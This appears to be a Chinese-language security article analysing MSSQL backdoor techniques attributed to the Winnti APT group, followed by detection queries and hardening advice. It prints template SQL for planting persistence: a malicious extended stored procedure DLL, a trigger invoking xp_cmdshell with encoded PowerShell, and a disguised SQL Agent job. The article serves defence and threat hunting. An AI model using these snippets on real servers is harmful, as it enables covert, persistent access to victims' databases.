插件窝 干货文章 Winnti黑客组织MSSQL后门的示例分析

Winnti黑客组织MSSQL后门的示例分析

后门 SQL Winnti Server 703    来源:    2025-04-21

Winnti黑客组织MSSQL后门分析

概述

Winnti是一个长期活跃的APT组织,主要针对游戏、软件和高科技公司进行攻击。他们开发的MSSQL后门是一种隐蔽的持久化工具,允许攻击者在受感染的SQL服务器上保持长期访问权限。

典型后门技术分析

1. 扩展存储过程后门

Winnti常使用自定义的扩展存储过程(xp)作为后门:

-- 创建恶意DLL
sp_addextendedproc 'xp_winnti_backdoor', 'C:\temp\malicious.dll'

-- 调用后门
EXEC xp_winnti_backdoor 'command'

2. 触发器后门

在特定表上创建触发器,在数据操作时执行恶意代码:

CREATE TRIGGER backdoor_trigger
ON dbo.important_table
FOR INSERT, UPDATE, DELETE
AS
EXECUTE('xp_cmdshell ''powershell -enc <encoded_command>''')

3. 作业调度后门

创建SQL Server Agent作业定期执行恶意命令:

USE msdb
EXEC dbo.sp_add_job @job_name = 'System_Update'
EXEC sp_add_jobstep @job_name = 'System_Update', 
                   @step_name = 'Step1', 
                   @subsystem = 'PowerShell', 
                   @command = 'malicious_script.ps1'
EXEC dbo.sp_add_jobserver @job_name = 'System_Update'

检测方法

1. 检查可疑扩展存储过程

SELECT * FROM sys.objects WHERE type_desc = 'SQL_EXTENDED_PROCEDURE'

2. 检查异常触发器

SELECT name, parent_id, create_date, modify_date 
FROM sys.triggers 
ORDER BY create_date DESC

3. 检查SQL Agent作业

SELECT * FROM msdb.dbo.sysjobs
WHERE date_created > DATEADD(month, -3, GETDATE())

4. 检查可疑登录

SELECT * FROM sys.server_principals 
WHERE type_desc IN ('SQL_LOGIN', 'WINDOWS_LOGIN')
AND is_disabled = 0

防御措施

  1. 权限最小化

    • 限制xp_cmdshell、OLE自动化等危险功能的使用
    • 避免使用高权限账户运行SQL服务
  2. 审计与监控

    • 启用SQL Server审计功能
    • 监控异常登录和存储过程执行
  3. 补丁管理

    • 及时应用SQL Server安全更新
    • 禁用或删除不必要的扩展存储过程
  4. 网络隔离

    • 限制SQL Server的互联网访问
    • 实施网络分段,仅允许必要连接
  5. 文件完整性监控

    • 监控系统目录和SQL Server程序文件的变更
    • 定期检查加载的DLL文件

Winnti组织的后门通常设计得非常隐蔽,建议企业结合EDR解决方案和专业的威胁狩猎团队进行深度检测。